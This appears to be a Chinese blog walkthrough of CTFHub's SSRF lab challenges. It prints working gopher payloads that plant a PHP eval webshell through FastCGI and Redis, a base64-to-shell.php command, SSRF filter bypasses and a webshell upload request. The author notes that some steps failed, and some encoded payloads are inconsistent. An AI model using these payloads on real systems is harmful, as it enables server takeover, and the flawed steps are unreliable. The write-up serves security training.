当前位置: 首页 > news >正文

CTFHub技能树-Web-SSRF 解题方法

1、内网访问【左侧1】

在URL地址栏,输入:/?url=http://127.0.0.1/flag.php

注意:将默认页面的"?url="后的下划线“_"删掉。

127.0.0.1  和   localhost 都指的本机,均可访问。加上flag.php访问本机的php文件,得到目标Flag。

将Flag填写并提交,闯关结束。

2、伪协议读取文件 

读取Web目录下的flag文件:

首先 web目录是:/var/www/html/,本题Flag在该目录下的flag.php文件。

对于文件,使用file协议file://,URL输入:file:///var/www/html/flag.php 。

注意:三个/,例如:http://、file://           【协议的应用方法】

 浏览器中,页面右击查看页面源代码,即可看到Flag码

 提交Flag码,第二关结束。

3、端口扫描

3.1 BP抓包

对于端口8000-9000等单一变量的大量数据的变化,打开BurpSuite使用狙击手模式进行爆破。

首先打开BP的拦截,URL传值,输入:?url=127.0.0.1:8000,进行访问。

3.2 设置payload攻击   模式和字典

将拦截的GET请求数据包发送至Intruder功能模块,设置端口位置8080作为payload位置,采用狙击手模式对单个payload进行爆破攻击。

 对爆破设置爆破字典,本例payload采用 数值类型,从8000-9000,间隔为1,逐个进行爆破。并点击开始攻击。

3.3  对爆破结果根据长度进行排序

查看状态码200的结果,可看到目标端口为:8863 。 

 3.4  重新输入ip和端口  查看结果

输入:?url=127.0.0.1:8663

 3.5  提交Flag,闯关成功

4、URL Bypass【右侧1】

 URL必须包含 http://notfound.ctfhub.com

URL输入: http://notfound.ctfhub.com@127.0.0.1/flag.php

 5、数值IP Bypass

尝试127.0.0.1地址进行访问flag.php文件,发现127和172被禁用 

 可通过localhost替换127.0.0.1进行访问flag.php文件,即可看到Flag码。

 也可以将127.0.0.1转换为16进制:0x7f000001。注意:此处,“.”用0表示。

输入:?url=0x7f000001/flag.php

得到Flag码,提交即可

6、302跳转Bypass 

输入:?url=127.0.0.1/flag.php  发现IP字段被Ban。

 输入:?url=localhost/flag.php即可得出flag码

也可以使用:

?url=http://localhost/flage.php

提交Flag码

 7、DNS重绑定

点开题目附件,发现URL有两层

使用网站:rbndr.us dns rebinding service 对两个DNS进行拼接一个整体域名。

输入:?url=http://7f000001.7f000002.rbndr.us/flag.php

得出Flag

提交Flag

8、POST请求【中间1】

8.1  首先,访问本地ip的flag.php文件

输入:?url=http://127.0.0.1/flag.php

页面显示输入框,但无内容

8.2  右击页面,查看页面源代码

发现有注释的key值

key=87ad384658eb5321de6e61ec47566ecc

8.3 BurpSuite抓包,构造post请求数据包

打开BP拦截,挂代理,将key值复制粘贴至页面的输入框中,点击回车提交key值,进行抓包,将Http头部中Host的ip修改为127.0.0.1:80

gopher://127.0.0.1:80/  _POST  /flag.php  HTTP/1.1
Host: challenge-b8e8a5eb7300df63.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=87ad384658eb5321de6e61ec47566ecc

2025/3/11   补充 :经讲解,发现构造请求时,gopher协议后的POST请求与端口之间多了一个空格,原本的意思应为为该端口的POST方式,所以修改为:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

8.4  通过CyberChef网站进行URL编码

网站:CTF在线工具-在线URL编码|URL解码

编码后:

gopher%3A//127.0.0.1%3A80/%20%C2%A0_POST%20%C2%A0/flag.php%20%C2%A0HTTP/1.1%0AHost%3A%20challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%3A10800%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D87ad384658eb5321de6e61ec47566ecc

8.5  复制编码后的数据包至文本txt

将%0A全部替换为%0d%0A,代码最后添加%0d%0A

gopher%3A//127.0.0.1%3A80/%20_POST%20/flag.php%20HTTP/1.1%0d%0AHost%3A%20challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%3A10800%0d%0AContent-Type%3A%20application/x-www-form-urlencoded%0d%0AContent-Length%3A%2036%0d%0A%0d%0Akey%3D87ad384658eb5321de6e61ec47566ecc%0d%0A

8.6  二次URL编码

二次编码结果:

gopher%253a%252f%252f127.0.0.1%253a80%252f%2b%252f_POST%2b%252fflag.php%2bHTTP%252f1.1%250d%250AHost%253a%2b127.0.0.1%253a80%250d%250AContent-Type%253a%2bapplication%252fx-www-form-urlencoded%250d%250AContent-Length%253a%2b42%250d%250A%250d%250Akey%253dkey%25253D8e7bc8cdc2ef6dd972ba9bce09ecb3e4%250d%250A

将gopher后和127.0.0.1后的冒号编码,还原为冒号(:),才有作用 

最终payload:

gopher://127.0.0.1:80/%2520_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost%253A%2520challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%253A10800%250d%250AContent-Type%253A%2520application/x-www-form-urlencoded%250d%250AContent-Length%253A%252036%250d%250A%250d%250Akey%253D87ad384658eb5321de6e61ec47566ecc%250d%250A

8.7  gopher攻击访问

将修改后完整的代码输入URL,点击访问,即可看到Flag码   【我做不出来   望各位结果顺利】

8.8  提交Flag码,闯关成功【失败】

9、上传文件

9.1  首先,查看本地ip的flag.php文件

输入:?url=127.0.0.1/flag.php

出现上传文件页面,但无提交按钮

9.2   页面,手动创建提交按钮

F12--(Edge浏览器)元素,在浏览文件按钮后手动创建一个提交按钮:

选择file行,点击前面的三个点----编辑为HTML,

元素,输入:<input type="submit" name="submit">

9.3 BurpSuite抓包

写一个一句话木马文件1.php,作为上传的文件

将编写好的一句话木马文件上传,捕包 

修改HTTP头部的Host字段:127.0.0.1:80

即gopher://127.0.0.1:80/_POST    flag.php   HTTP/1.1

结果为:  【下面都出错了,注意是:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1】

gopher://127.0.0.1:80 POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 321
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXyfk6HxCj5FNB1uH
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryXyfk6HxCj5FNB1uH
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryXyfk6HxCj5FNB1uH--

9.4  请求数据包URL编码

在URL编码网站,将请求数据表URL编码。将编码结果复制在txt文件中,并把%0A替换为%0d%0A

gopher%3a127.0.0.1%3a80+POST+%2fflag.php+HTTP%2f1.1%0aHost%3a+127.0.0.1%3a80%0aContent-Length%3a+321%0aContent-Type%3a+multipart%2fform-data%3b+%0a%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH%0aContent-Disposition%3a+form-data%3b+name%3d%22file%22%3b+filename%3d%221.php%22%0aContent-Type%3a+application%2foctet-stream%0a%0a%3c%3fphp+%40eval(%24_POST%5b%27cmd%27%5d)%3b%3f%3e%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH%0aContent-Disposition%3a+form-data%3b+name%3d%22submit%22%0a%0a%e9%8e%bb%e6%84%aa%e6%b0%a6%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH--

//将一次编码后的%0A  全部替换为%0d%0A,代码最后添加一个%0d%0A 

9.5  二次URL编码

编码后冒号也被编码,则gopher后面和端口号前的冒号需要还原

gopher://127.0.0.1:80/

注意:这里结果是正常的,因为是借鉴的。上面将gopher行错误修改后,再进行两次编码,结果就是下面的正确编码。

二次编码结果:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2
520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253
B%2520boundary%253D---------------------------5278488452262243057143646468
5%250D%250AContent-Length%253A%2520379%250D%250A%250D%250A-----------------
------------52784884522622430571436464685%250D%250AContent-Disposition%253
A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%252
21.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%25
0A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bcmd%255D%2529%25
3B%253F%253E%250D%250A-----------------------------527848845226224305714364
64685%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%25
22submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%2
5A5%25E8%25AF%25A2%250D%250A-----------------------------527848845226224305
71436464685--%250D%250A

9.6   gopher攻击访问,得出结果

9.7 提交Flag码即可

10、FastCGI协议

10.1  一句话木马经base编码写入shell.php文件中

一句话木马:

<?php @eval($_POST['cmd']);?>

base64编码后:
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

10.2  打开kali,使用gopherus生成攻击链接 

项⽬地址:

git clone https://github.com/tarunkant/Gopherus.git

执⾏命令:

python2 gopherus.py --exploit fastcgi

执行一句行木马,生成payload

生成的payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH119%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00w%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8%2B%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

10.3 将上一步得到的攻击链接,进行URL编码

url编码后:

gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH119%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500w%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8%252B%2522%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

10.4  将编码后的payload作为参数值输入页面的URL处进行访问

10.5  访问shell.php文件

10.6   将访问后的链接,通过蚁剑连接,即得到shell

http://challenge-a4c7a63e531e67c6.sandbox.ctfhub.com:10800/shell.php

编码器base64

10.6 通过shell在目录中寻找flag

Flag:ctfhub{11394f17ed3f340d46a0658b}

10.7 提交Flag码

11、Redis协议

11.1  利用gopherus工具生成攻击载荷

kali,输入:python2 gopherus.py --exploit redis

使用PHPShell

/var/www/html/

写入一句话木马:<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

11.2   对攻击载荷URL编码,在闯关页面进行访问上传的⽂件shell.php

URL编码后:

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

在页面的URL后输入,编码后的攻击载荷

再访问上传的shell.php文件,出现下图结果

11.3  使用访问后的URL,在蚁剑进行连接 ,获得shell

将上一步访问shell.php文件的url复制,通过蚁剑进行连接

注意: 编码器为base64

11.4  通过目录找到flag文件,打开得到Flag码,并提交

返回其根目录,找到flag文件,打开得到目标FLAG码

flag码:ctfhub{f3bceed3f35dca3581e57040}

相关文章:

  • EtherCAT OpenEuler Web控制启动
  • Docker的使用
  • 云容灾落地指南:华为云主备容灾RTO和RPO最佳实践
  • 健康医疗大数据——医疗影像
  • C++ string类(前)
  • 责任链模式如何减少模块之间的耦合
  • 源IP泄露后如何涅槃重生?高可用架构与自动化防御体系设计
  • 本地部署deepseek,局域网链接,添加个人知识库
  • 使用Leaflet 搭建一个前端地图项目,实现类似原神、黑神话悟空的标点互动地图效果
  • CNN的激活函数
  • ElasticSearch入门及安装 ( 一 )
  • MySQL---INSERT语句、UPDATE语句、DELETE语句
  • 深入解析AI音乐创作原理:从算法到艺术
  • 如何搭建一个适配微信小程序,h5,app的uni-app项目
  • 数字化新零售与 AI 大模型,如何重塑大健康赛道?​
  • 食品饮料制造行业的现状 内检实验室系统在食品饮料制造行业应用
  • kettle ETL 配置
  • 图论·拓扑排序
  • Arthas解决CPU飙高和定位死锁问题,JProfiler解决OOM问题
  • 支付宝小程序评论提升策略:打造高互动度的用户体验
  • 阿斯利康中国区一季度收入增5%,或面临最高800万美元新罚单
  • 吴志朴当选福建德化县人民政府县长
  • 辽宁辽阳火灾3名伤者无生命危险
  • 打造沪派水乡的“湿意”,上海正在保护营造一批湿地空间
  • 五月院线片单:就看五一档表现了
  • 我国首部《人工智能气象应用服务办法》今天发布